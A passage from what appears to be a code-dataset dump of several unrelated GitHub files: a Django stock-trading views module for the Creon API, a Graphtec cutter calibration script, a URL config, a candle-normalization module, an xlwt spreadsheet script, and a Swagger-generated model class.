cpOrder.SetInputValue(2, accFlag[0]) # 주식상품 중 첫번째\n cpOrder.SetInputValue(3, s['code']) # 종목코드\n cpOrder.SetInputValue(4, s['qty']) # 매도수량\n cpOrder.SetInputValue(7, \"1\") # 조건 0:기본, 1:IOC, 2:FOK\n cpOrder.SetInputValue(8, \"12\") # 호가 12:최유리, 13:최우선\n # 최유리 IOC 매도 주문 요청\n ret = cpOrder.BlockRequest()\n printlog('최유리 IOC 매도', s['code'], s['name'], s['qty'],\n '-> cpOrder.BlockRequest() -> returned', ret)\n if ret == 4:\n remain_time = cpStatus.LimitRequestRemainTime\n printlog('주의: 연속 주문 제한, 대기시간:', remain_time / 1000)\n time.sleep(1)\n time.sleep(30)\n except Exception as ex:\n dbgout(\"sell_all() -> exception! \" + str(ex))\n\ndef test(request):\n\n try:\n symbol_list = ['A005930'] # 사용자가 이용하게끔 변수로 바꿔야함,삼전\n bought_list = [] # 매수 완료된 종목 리스트\n target_buy_count = 0 # 매수할 종목 수\n buy_percent = 1 #퍼센트도 변수로 넣어야된다.\n printlog('check_creon_system() :', check_creon_system()) # 크레온 접속 점검\n stocks = get_stock_balance('ALL') # 보유한 모든 종목 조회\n total_cash = int(get_current_cash()) # 100% 증거금 주문 가능 금액 조회\n buy_amount = total_cash * buy_percent # 종목별 주문 금액 계산\n printlog('100% 증거금 주문 가능 금액 :', total_cash)\n printlog('종목별 주문 비율 :', buy_percent)\n printlog('종목별 주문 금액 :', buy_amount)\n printlog('시작 시간 :', datetime.now().strftime('%m/%d %H:%M:%S'))\n soldout = False\n\n while True:\n t_now = datetime.now()\n t_9 = t_now.replace(hour=9, minute=0, second=0, microsecond=0)\n t_start = t_now.replace(hour=9, minute=5, second=0, microsecond=0)\n t_sell = t_now.replace(hour=15, minute=15, second=0, microsecond=0)\n t_exit = t_now.replace(hour=15, minute=20, second=0, microsecond=0)\n today = datetime.today().weekday()\n if today == 5 or today == 6: # 토요일이나 일요일이면 자동 종료\n printlog('Today is', 'Saturday.' if today == 5 else 'Sunday.')\n sys.exit(0)\n if t_9 < t_now < t_start and soldout == False:\n soldout = True\n sell_all()\n if t_start < t_now < t_sell: # AM 09:05 ~ PM 03:15 : 매수\n for sym in symbol_list:\n if len(bought_list) < target_buy_count:\n buy_etf(sym)\n time.sleep(1)\n if t_now.minute == 30 and 0 <= t_now.second <= 5:\n get_stock_balance('ALL')\n time.sleep(5)\n if t_sell < t_now < t_exit: # PM 03:15 ~ PM 03:20 : 일괄 매도\n if sell_all() == True:\n dbgout('`sell_all() returned True -> self-destructed!`')\n sys.exit(0)\n if t_exit < t_now: # PM 03:20 ~ :프로그램 종료\n dbgout('`self-destructed!`')\n sys.exit(0)\n time.sleep(3)\n except Exception as ex:\n dbgout('`main -> exception! ' + str(ex) + '`')\n return render(request,{'symbol_list':symbol_list},'polls/main.html')\n\n \n\ndef login(request):\n return render(request,'polls/login.html')\n\n\n\ndef logout(request):\n cpStatus.PlusDisconnect()\n os.system('taskkill /IM coStarter* /F /T')\n os.system('taskkill /IM CpStart* /F /T')\n os.system('taskkill /IM DibServer* /F /T')\n os.system('wmic process where \"name like \\'%coStarter%\\'\" call terminate')\n os.system('wmic process where \"name like \\'%CpStart%\\'\" call terminate')\n os.system('wmic process where \"name like \\'%DibServer%\\'\" call terminate')\n return render(request,'polls/login.html')\n\ndef test2(request):\n var1 = 10\n var2 = \"hello\"\n #os.system(\"python polls/stock.py {0} {1}\".format(var1, var2))\n #testvalue = 2\n #os.system(\"python polls/stock.py\")\n return render(request,'polls/main.html')\n\ndef auto(request):\n \n stockcode2 = request.POST.get('stockcode2')\n curs.execute(\"SELECT code FROM stock.stockname where name =%s\",stockcode2)\n \n rs = curs.fetchall()\n for row in rs:\n for stockcode2 in row:\n print(stockcode2,end='') \n \n stockcode2 = \"A\"+stockcode2\n stockvalue = request.POST.get('stockpercent')\n global sp\n \n #os.system(\"python polls/stock.py {0} {1}\".format(stockcode2, stockvalue))\n sp = subprocess.Popen([\"python\",\"polls/stock.py\",stockcode2,stockvalue])\n \n \n \n # sp.terminate()\n testchart = request.session['test']\n my_title = request.session['title']\n link = request.session['link']\n chartname = request.session['name']\n image = request.session['news'] \n return render(request,'polls/main.html',{'testchart':testchart,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'chartname':chartname,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\ndef set(request):\n return render(request,'polls/main.html')\n\ndef current(request):\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\n cpBalance.SetInputValue(0, acc) # 계좌번호\n cpBalance.SetInputValue(1, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n cpBalance.SetInputValue(2, 50) # 요청 건수(최대 50)\n cpBalance.BlockRequest()\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] #계좌번호\n print(acc)\n name = '계좌번호 :'\n hi = '계좌명 :'\n #account = '결제잔고수량:'\n money = '평가금액 :'\n profit = '평가손익 :'\n event = '종목수 :'\n hi1 = str(cpBalance.GetHeaderValue(0))\n #account1 = str(cpBalance.GetHeaderValue(1))\n money1 = str(cpBalance.GetHeaderValue(3))\n profit1 = str(cpBalance.GetHeaderValue(4))\n event1 = str(cpBalance.GetHeaderValue(7))\n \n testchart = request.session['test']\n my_title = request.session['title']\n link = request.session['link']\n chartname = request.session['name']\n image = request.session['news']\n \n return render(request,'polls/main.html',{'hi':hi,'money':money,'profit':profit,'event':event,'hi1':hi1,'money1':money1,'profit1':profit1,'event1':event1,'acc':acc,'name':name,'testchart':testchart,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'chartname':chartname,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\ndef mainbuy(request):\n stockcode2 = request.POST.get('stockcode2')\n \n stockvalue = request.POST.get('stockvalue')\n stockvalue2 = request.POST.get('stockvalue2')\n curs.execute(\"SELECT code FROM stock.stockname where name =%s\",stockcode2)\n rs = curs.fetchall()\n for row in rs:\n for stockcode2 in row:\n print(stockcode2,end='') \n \n stockcode2 = \"A\"+stockcode2\n stockvalue = float(stockvalue)\n stockvalue = int(stockvalue)\n print(type(stockcode2))\n print(type(stockvalue))\n print(type(stockvalue2))\n \n # 연결 여부 체크\n objCpCybos = win32com.client.Dispatch(\"CpUtil.CpCybos\")\n bConnect = objCpCybos.IsConnect\n if (bConnect == 0):\n print(\"PLUS가 정상적으로 연결되지 않음. \")\n exit()\n \n# 주문 초기화\n objTrade = win32com.client.Dispatch(\"CpTrade.CpTdUtil\")\n initCheck = objTrade.TradeInit(0)\n if (initCheck != 0):\n print(\"주문 초기화 실패\")\n exit()\n \n \n# 주식 매수 주문\n acc = objTrade.AccountNumber[0] #계좌번호\n accFlag = objTrade.GoodsList(acc, 1) # 주식상품 구분\n print(acc, accFlag[0])\n objStockOrder = win32com.client.Dispatch(\"CpTrade.CpTd0311\")\n objStockOrder.SetInputValue(0, \"2\") # 2: 매수\n objStockOrder.SetInputValue(1, acc ) # 계좌번호\n objStockOrder.SetInputValue(2, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n objStockOrder.SetInputValue(3, stockcode2) # 종목코드 - A017040 - 광명전기\n objStockOrder.SetInputValue(4, stockvalue) # 매수수량 \n objStockOrder.SetInputValue(5, stockvalue2) # 주문단가 - 14,100원\n objStockOrder.SetInputValue(7, \"0\") # 주문 조건 구분 코드, 0: 기본 1: IOC 2:FOK\n objStockOrder.SetInputValue(8, \"01\") # 주문호가 구분코드 - 01: 보통\n \n# 매수 주문 요청\n objStockOrder.BlockRequest()\n \n rqStatus = objStockOrder.GetDibStatus()\n rqRet = objStockOrder.GetDibMsg1()\n print(\"통신상태\", rqStatus, rqRet)\n if rqStatus != 0:\n exit()\n testchart = request.session['test']\n my_title = request.session['title']\n link = request.session['link']\n chartname = request.session['name']\n image = request.session['news']\n return render(request,'polls/main.html',{'testchart':testchart,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'chartname':chartname,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\ndef mainsell(request): #매도\n stockcode2 = request.POST.get('stockcode2')\n curs.execute(\"SELECT code FROM stock.stockname where name =%s\",stockcode2)\n rs = curs.fetchall()\n for row in rs:\n for stockcode2 in row:\n print(stockcode2,end='') \n \n stockcode2 = \"A\"+stockcode2\n stockvalue = request.POST.get('stockvalue')\n stockvalue2 = request.POST.get('stockvalue2')\n print(type(stockcode2))\n print(type(stockvalue))\n print(type(stockvalue2))\n # 연결 여부 체크\n objCpCybos = win32com.client.Dispatch(\"CpUtil.CpCybos\")\n bConnect = objCpCybos.IsConnect\n if (bConnect == 0):\n print(\"PLUS가 정상적으로 연결되지 않음. \")\n exit()\n \n # 주문 초기화\n objTrade = win32com.client.Dispatch(\"CpTrade.CpTdUtil\")\n initCheck = objTrade.TradeInit(0)\n if (initCheck != 0):\n print(\"주문 초기화 실패\")\n exit()\n \n \n # 주식 매도 주문\n acc = objTrade.AccountNumber[0] #계좌번호\n accFlag = objTrade.GoodsList(acc, 1) # 주식상품 구분\n print(acc, accFlag[0])\n objStockOrder = win32com.client.Dispatch(\"CpTrade.CpTd0311\")\n objStockOrder.SetInputValue(0, \"1\") # 1: 매도\n objStockOrder.SetInputValue(1, acc ) # 계좌번호\n objStockOrder.SetInputValue(2, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n objStockOrder.SetInputValue(3, stockcode2) # 종목코드 - A003540 - 대신증권 종목\n objStockOrder.SetInputValue(4, stockvalue) # 매도수량 10주 \n objStockOrder.SetInputValue(5, stockvalue2) # 주문단가 - 14,100원\n objStockOrder.SetInputValue(7, \"0\") # 주문 조건 구분 ��드, 0: 기본 1: IOC 2:FOK\n objStockOrder.SetInputValue(8, \"01\") # 주문호가 구분코드 - 01: 보통\n \n # 매도 주문 요청\n objStockOrder.BlockRequest()\n \n rqStatus = objStockOrder.GetDibStatus()\n rqRet = objStockOrder.GetDibMsg1()\n print(\"통신상태\", rqStatus, rqRet)\n if rqStatus != 0:\n exit()\n testchart = request.session['test']\n my_title = request.session['title']\n link = request.session['link']\n chartname = request.session['name']\n image = request.session['news']\n return render(request,'polls/main.html',{'testchart':testchart,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'chartname':chartname,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\ndef fix(request):\n \n sp.kill()\n testchart = request.session['test']\n my_title = request.session['title']\n link = request.session['link']\n chartname = request.session['name']\n image = request.session['news']\n return render(request,'polls/main.html',{'testchart':testchart,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'chartname':chartname,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\ndef cancel(request):\n os.system(\"python cancel.py\")\n testchart = request.session['test']\n my_title = request.session['title']\n link = request.session['link']\n chartname = request.session['name']\n image = request.session['news']\n return render(request,'polls/main.html',{'testchart':testchart,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'chartname':chartname,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\ndef mysql(request):\n stocks = Stockname.objects.all()\n return render(request, 'polls/test2.html',{'stocks':stocks})\n\n\n\n\npythoncom.CoUninitialize()","repo_name":"jeeyoun-kang/HASUNG-STOCK","sub_path":"mysite/polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":38130,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"10084869482","text":"#!/usr/bin/env python\n\nimport graphtec\nimport math\n\n#\n# draw a mark with a given orientation. The mark consists of 17 segments\n# spaced at 1/17 inch, to form a vernier against a 1/16-inch rule.\n# An additional segment is included at the beginning, a little offset,\n# to make sure the knife angle is correct for each of the main segments.\n#\n\ndef mark(g,p,theta):\n px,py = p\n theta = theta*(math.pi/180)\n vx,vy = math.cos(theta),math.sin(theta)\n r = theta + math.pi/2\n rx,ry = math.cos(r),math.sin(r)\n for i in range(-2,18):\n if i==-1:\n continue\n cx,cy = px+vx*(i-3*17)/17.0, py+vy*(i-3*17)/17.0\n g.line(cx-0.08*rx,cy-0.08*ry,cx+0.08*rx,cy+0.08*ry)\n for i in range(-2,18):\n if i==-1:\n continue\n cx,cy = px+vx*(i+2*17)/17.0, py+vy*(i+2*17)/17.0\n g.line(cx-0.08*rx,cy-0.08*ry,cx+0.08*rx,cy+0.08*ry)\n\n#\n# main program\n#\n\ng = graphtec.graphtec()\n\ng.start()\n\ng.set(offset=(4,0.5))\ng.set(speed=2)\ng.set(force=5)\n# this is for my Silhouette Cameo, to rerun this test to\n# verify the calibration as measured from a prior run\n# with matrix=(1,0,0,1)\ng.set(matrix=(1,-0.001,-0.001,0.9952))\n\nmark(g,(3.5,3.5),0)\nmark(g,(3.5,3.5),45)\nmark(g,(3.5,3.5),90)\nmark(g,(3.5,3.5),135)\n\ng.end()\n","repo_name":"pmonta/gerber2graphtec","sub_path":"tests/test_calibrate.py","file_name":"test_calibrate.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"20"} +{"seq_id":"47799958167","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'personal'\n\nurlpatterns = [\n path('login/', views.login, name='login'),\n path('userProfile/editUserInfo/', views.editUserInfo, name='editUserInfo'),\n path('userProfile/', views.userProfile, name='userProfile'),\n path('login/authenticateAccount/', views.authenticateAccount, name='authenticateAccount'),\n path('log_out/', views.log_out, name='log_out'),\n]","repo_name":"AW-AlanWu/NLCS.web","sub_path":"clubSite/personal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33258269914","text":"from typing import Sequence, Optional\n\nimport torch\n\nfrom structs import candle2\nfrom structs import candle_traits\n\n\nclass Normalizer:\n def __init__(self, traits: candle_traits.CandleTraits,\n offsets: torch.Tensor, dividers: torch.Tensor):\n self.offsets: torch.Tensor = offsets\n self.dividers: torch.Tensor = dividers\n self.candle: candle2.Candle = candle2.Candle.plain(traits)\n\n def apply(self, candle: candle2.Candle) -> None:\n self.candle.copy_from(candle)\n self.candle.normalize(self.offsets, self.dividers)\n\n def apply_inplace(self, candle: candle2.Candle) -> None:\n candle.normalize(self.offsets, self.dividers)\n\n def revert(self, candle: candle2.Candle) -> None:\n self.candle.copy_from(candle)\n self.candle.denormalize(self.offsets, self.dividers)\n\n def revert_inplace(self, candle: candle2.Candle) -> None:\n candle.denormalize(self.offsets, self.dividers)\n\n def result(self) -> candle2.Candle:\n return self.candle\n\nclass PlainNormalizerFactory:\n def __init__(self, traits: candle_traits.CandleTraits):\n self.traits: candle_traits.CandleTraits = traits\n self.offsets: torch.Tensor = torch.zeros(traits.fields_count)\n self.dividers: torch.Tensor = torch.ones(traits.fields_count)\n\n def make_normalizer(self, _candles: Sequence[candle2.Candle]):\n return Normalizer(self.traits, self.offsets, self.dividers)\n\nclass MinMaxNormalizerFactory:\n def __init__(self, traits: candle_traits.CandleTraits):\n self.traits: candle_traits.CandleTraits = traits\n self.min_values: torch.Tensor = torch.zeros(traits.fields_count)\n self.max_values: torch.Tensor = torch.zeros(traits.fields_count)\n self.dividers: torch.Tensor = torch.zeros(traits.fields_count)\n\n def make_normalizer(self, candles: Sequence[candle2.Candle]):\n self.min_values.copy_(candles[0].data)\n self.max_values.copy_(candles[0].data)\n self.dividers.fill_(1.0)\n for j in range(1, len(candles)):\n torch.minimum(self.min_values, candles[j].data, out=self.min_values)\n torch.maximum(self.max_values, candles[j].data, out=self.max_values)\n for i in range(self.traits.fields_count):\n if self.min_values[i] != self.max_values[i]:\n self.dividers[i] = self.max_values[i] - self.min_values[i]\n return Normalizer(self.traits, self.min_values, self.dividers)\n\nclass StdNormalizerFactory:\n def __init__(self, traits: candle_traits.CandleTraits):\n self.traits: candle_traits.CandleTraits = traits\n self.mean_values: torch.Tensor = torch.zeros(traits.fields_count)\n self.deviations: torch.Tensor = torch.zeros(traits.fields_count)\n self.temp: torch.Tensor = torch.zeros(traits.fields_count)\n\n def make_normalizer(self, candles: Sequence[candle2.Candle]):\n temp = torch.stack([candle.data for candle in candles])\n self.deviations, self.mean_values = torch.std_mean(temp, 0, unbiased=False)\n for i in range(self.traits.fields_count):\n if self.deviations[i] == 0.0:\n self.deviations[i] = 1.0\n return Normalizer(self.traits, self.mean_values, self.deviations)\n\ndef make_normalizer_factory(normalization: Optional[str], traits: candle_traits.CandleTraits):\n if not normalization:\n return PlainNormalizerFactory(traits)\n normalization = normalization.lower()\n if normalization == \"minmax\":\n return MinMaxNormalizerFactory(traits)\n if normalization == \"std\":\n return StdNormalizerFactory(traits)\n raise Exception(\"Unknown normalization\")\n","repo_name":"gzru/tradebot","sub_path":"structs/normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72824798451","text":"import xlrd, xlwt\nprint(\"Введите название для генерируемой таблицы\")\nname_xls = str(input())\n\nwb = xlwt.Workbook()\nprint(\"Введите название листа таблицы\")\ncurrent_day = str(input())\nws = wb.add_sheet(current_day)\nws.write(0, 0, 'Day')\nws.write(0, 1, 'Model')\nws.write(0, 2, 'Time')\nws.write(0, 3, 'Money')\nws.write(0, 4, 'Employee')\nwb.save(name_xls)","repo_name":"FastGall/summerStats","sub_path":"Generate_xls_file.py","file_name":"Generate_xls_file.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34355416175","text":"from datetime import datetime\nfrom datetime import date\nfrom pprint import pformat\nfrom six import iteritems\nimport re\nimport json\n\nfrom ..utils import sanitize_for_serialization\n\n# type hinting support\nfrom typing import TYPE_CHECKING\nfrom typing import List\nfrom typing import Dict\n\nif TYPE_CHECKING:\n from . import UserReference\n\nclass DevelopmentActivity(object):\n \"\"\"\n NOTE: This class is auto generated by the swagger code generator program.\n Do not edit the class manually.\n \"\"\"\n def __init__(self) -> None:\n \"\"\"\n DevelopmentActivity - a model defined in Swagger\n\n :param dict swaggerTypes: The key is attribute name\n and the value is attribute type.\n :param dict attributeMap: The key is attribute name\n and the value is json key in definition.\n \"\"\"\n self.swagger_types = {\n 'id': 'str',\n 'date_completed': 'datetime',\n 'created_by': 'UserReference',\n 'date_created': 'datetime',\n 'percentage_score': 'float',\n 'is_passed': 'bool',\n 'is_latest': 'bool',\n 'is_module_archived': 'bool',\n 'archival_mode': 'str',\n 'self_uri': 'str',\n 'name': 'str',\n 'type': 'str',\n 'status': 'str',\n 'date_due': 'datetime',\n 'facilitator': 'UserReference',\n 'attendees': 'list[UserReference]',\n 'is_overdue': 'bool'\n }\n\n self.attribute_map = {\n 'id': 'id',\n 'date_completed': 'dateCompleted',\n 'created_by': 'createdBy',\n 'date_created': 'dateCreated',\n 'percentage_score': 'percentageScore',\n 'is_passed': 'isPassed',\n 'is_latest': 'isLatest',\n 'is_module_archived': 'isModuleArchived',\n 'archival_mode': 'archivalMode',\n 'self_uri': 'selfUri',\n 'name': 'name',\n 'type': 'type',\n 'status': 'status',\n 'date_due': 'dateDue',\n 'facilitator': 'facilitator',\n 'attendees': 'attendees',\n 'is_overdue': 'isOverdue'\n }\n\n self._id = None\n self._date_completed = None\n self._created_by = None\n self._date_created = None\n self._percentage_score = None\n self._is_passed = None\n self._is_latest = None\n self._is_module_archived = None\n self._archival_mode = None\n self._self_uri = None\n self._name = None\n self._type = None\n self._status = None\n self._date_due = None\n self._facilitator = None\n self._attendees = None\n self._is_overdue = None\n\n @property\n def id(self) -> str:\n \"\"\"\n Gets the id of this DevelopmentActivity.\n The globally unique identifier for the object.\n\n :return: The id of this DevelopmentActivity.\n :rtype: str\n \"\"\"\n return self._id\n\n @id.setter\n def id(self, id: str) -> None:\n \"\"\"\n Sets the id of this DevelopmentActivity.\n The globally unique identifier for the object.\n\n :param id: The id of this DevelopmentActivity.\n :type: str\n \"\"\"\n \n\n self._id = id\n\n @property\n def date_completed(self) -> datetime:\n \"\"\"\n Gets the date_completed of this DevelopmentActivity.\n Date that activity was completed. Date time is represented as an ISO-8601 string. For example: yyyy-MM-ddTHH:mm:ss[.mmm]Z\n\n :return: The date_completed of this DevelopmentActivity.\n :rtype: datetime\n \"\"\"\n return self._date_completed\n\n @date_completed.setter\n def date_completed(self, date_completed: datetime) -> None:\n \"\"\"\n Sets the date_completed of this DevelopmentActivity.\n Date that activity was completed. Date time is represented as an ISO-8601 string. For example: yyyy-MM-ddTHH:mm:ss[.mmm]Z\n\n :param date_completed: The date_completed of this DevelopmentActivity.\n :type: datetime\n \"\"\"\n \n\n self._date_completed = date_completed\n\n @property\n def created_by(self) -> 'UserReference':\n \"\"\"\n Gets the created_by of this DevelopmentActivity.\n User that created activity\n\n :return: The created_by of this DevelopmentActivity.\n :rtype: UserReference\n \"\"\"\n return self._created_by\n\n @created_by.setter\n def created_by(self, created_by: 'UserReference') -> None:\n \"\"\"\n Sets the created_by of this DevelopmentActivity.\n User that created activity\n\n :param created_by: The created_by of this DevelopmentActivity.\n :type: UserReference\n \"\"\"\n \n\n self._created_by = created_by\n\n @property\n def date_created(self) -> datetime:\n \"\"\"\n Gets the date_created of this DevelopmentActivity.\n Date activity was created. Date time is represented as an ISO-8601 string. For example: yyyy-MM-ddTHH:mm:ss[.mmm]Z\n\n :return: The date_created of this DevelopmentActivity.\n :rtype: datetime\n \"\"\"\n return self._date_created\n\n @date_created.setter\n def date_created(self, date_created: datetime) -> None:\n \"\"\"\n Sets the date_created of this DevelopmentActivity.\n Date activity was created. Date time is represented as an ISO-8601 string. For example: yyyy-MM-ddTHH:mm:ss[.mmm]Z\n\n :param date_created: The date_created of this DevelopmentActivity.\n :type: datetime\n \"\"\"\n \n\n self._date_created = date_created\n\n @property\n def percentage_score(self) -> float:\n \"\"\"\n Gets the percentage_score of this DevelopmentActivity.\n The user's percentage score for this activity\n\n :return: The percentage_score of this DevelopmentActivity.\n :rtype: float\n \"\"\"\n return self._percentage_score\n\n @percentage_score.setter\n def percentage_score(self, percentage_score: float) -> None:\n \"\"\"\n Sets the percentage_score of this DevelopmentActivity.\n The user's percentage score for this activity\n\n :param percentage_score: The percentage_score of this DevelopmentActivity.\n :type: float\n \"\"\"\n \n\n self._percentage_score = percentage_score\n\n @property\n def is_passed(self) -> bool:\n \"\"\"\n Gets the is_passed of this DevelopmentActivity.\n True if the activity was passed\n\n :return: The is_passed of this DevelopmentActivity.\n :rtype: bool\n \"\"\"\n return self._is_passed\n\n @is_passed.setter\n def is_passed(self, is_passed: bool) -> None:\n \"\"\"\n Sets the is_passed of this DevelopmentActivity.\n True if the activity was passed\n\n :param is_passed: The is_passed of this DevelopmentActivity.\n :type: bool\n \"\"\"\n \n\n self._is_passed = is_passed\n\n @property\n def is_latest(self) -> bool:\n \"\"\"\n Gets the is_latest of this DevelopmentActivity.\n True if this is the latest version of assignment assigned to the user\n\n :return: The is_latest of this DevelopmentActivity.\n :rtype: bool\n \"\"\"\n return self._is_latest\n\n @is_latest.setter\n def is_latest(self, is_latest: bool) -> None:\n \"\"\"\n Sets the is_latest of this DevelopmentActivity.\n True if this is the latest version of assignment assigned to the user\n\n :param is_latest: The is_latest of this DevelopmentActivity.\n :type: bool\n \"\"\"\n \n\n self._is_latest = is_latest\n\n @property\n def is_module_archived(self) -> bool:\n \"\"\"\n Gets the is_module_archived of this DevelopmentActivity.\n True if the associated module is archived\n\n :return: The is_module_archived of this DevelopmentActivity.\n :rtype: bool\n \"\"\"\n return self._is_module_archived\n\n @is_module_archived.setter\n def is_module_archived(self, is_module_archived: bool) -> None:\n \"\"\"\n Sets the is_module_archived of this DevelopmentActivity.\n True if the associated module is archived\n\n :param is_module_archived: The is_module_archived of this DevelopmentActivity.\n :type: bool\n \"\"\"\n \n\n self._is_module_archived = is_module_archived\n\n @property\n def archival_mode(self) -> str:\n \"\"\"\n Gets the archival_mode of this DevelopmentActivity.\n Module archive type\n\n :return: The archival_mode of this DevelopmentActivity.\n :rtype: str\n \"\"\"\n return self._archival_mode\n\n @archival_mode.setter\n def archival_mode(self, archival_mode: str) -> None:\n \"\"\"\n Sets the archival_mode of this DevelopmentActivity.\n Module archive type\n\n :param archival_mode: The archival_mode of this DevelopmentActivity.\n :type: str\n \"\"\"\n if isinstance(archival_mode, int):\n archival_mode = str(archival_mode)\n allowed_values = [\"Graceful\", \"Immediate\"]\n if archival_mode.lower() not in map(str.lower, allowed_values):\n # print(\"Invalid value for archival_mode -> \" + archival_mode)\n self._archival_mode = \"outdated_sdk_version\"\n else:\n self._archival_mode = archival_mode\n\n @property\n def self_uri(self) -> str:\n \"\"\"\n Gets the self_uri of this DevelopmentActivity.\n The URI for this object\n\n :return: The self_uri of this DevelopmentActivity.\n :rtype: str\n \"\"\"\n return self._self_uri\n\n @self_uri.setter\n def self_uri(self, self_uri: str) -> None:\n \"\"\"\n Sets the self_uri of this DevelopmentActivity.\n The URI for this object\n\n :param self_uri: The self_uri of this DevelopmentActivity.\n :type: str\n \"\"\"\n \n\n self._self_uri = self_uri\n\n @property\n def name(self) -> str:\n \"\"\"\n Gets the name of this DevelopmentActivity.\n The name of the activity\n\n :return: The name of this DevelopmentActivity.\n :rtype: str\n \"\"\"\n return self._name\n\n @name.setter\n def name(self, name: str) -> None:\n \"\"\"\n Sets the name of this DevelopmentActivity.\n The name of the activity\n\n :param name: The name of this DevelopmentActivity.\n :type: str\n \"\"\"\n \n\n self._name = name\n\n @property\n def type(self) -> str:\n \"\"\"\n Gets the type of this DevelopmentActivity.\n The type of activity\n\n :return: The type of this DevelopmentActivity.\n :rtype: str\n \"\"\"\n return self._type\n\n @type.setter\n def type(self, type: str) -> None:\n \"\"\"\n Sets the type of this DevelopmentActivity.\n The type of activity\n\n :param type: The type of this DevelopmentActivity.\n :type: str\n \"\"\"\n if isinstance(type, int):\n type = str(type)\n allowed_values = [\"Informational\", \"Coaching\", \"AssessedContent\", \"Assessment\", \"External\"]\n if type.lower() not in map(str.lower, allowed_values):\n # print(\"Invalid value for type -> \" + type)\n self._type = \"outdated_sdk_version\"\n else:\n self._type = type\n\n @property\n def status(self) -> str:\n \"\"\"\n Gets the status of this DevelopmentActivity.\n The status of the activity\n\n :return: The status of this DevelopmentActivity.\n :rtype: str\n \"\"\"\n return self._status\n\n @status.setter\n def status(self, status: str) -> None:\n \"\"\"\n Sets the status of this DevelopmentActivity.\n The status of the activity\n\n :param status: The status of this DevelopmentActivity.\n :type: str\n \"\"\"\n if isinstance(status, int):\n status = str(status)\n allowed_values = [\"Planned\", \"InProgress\", \"Completed\", \"InvalidSchedule\", \"NotCompleted\"]\n if status.lower() not in map(str.lower, allowed_values):\n # print(\"Invalid value for status -> \" 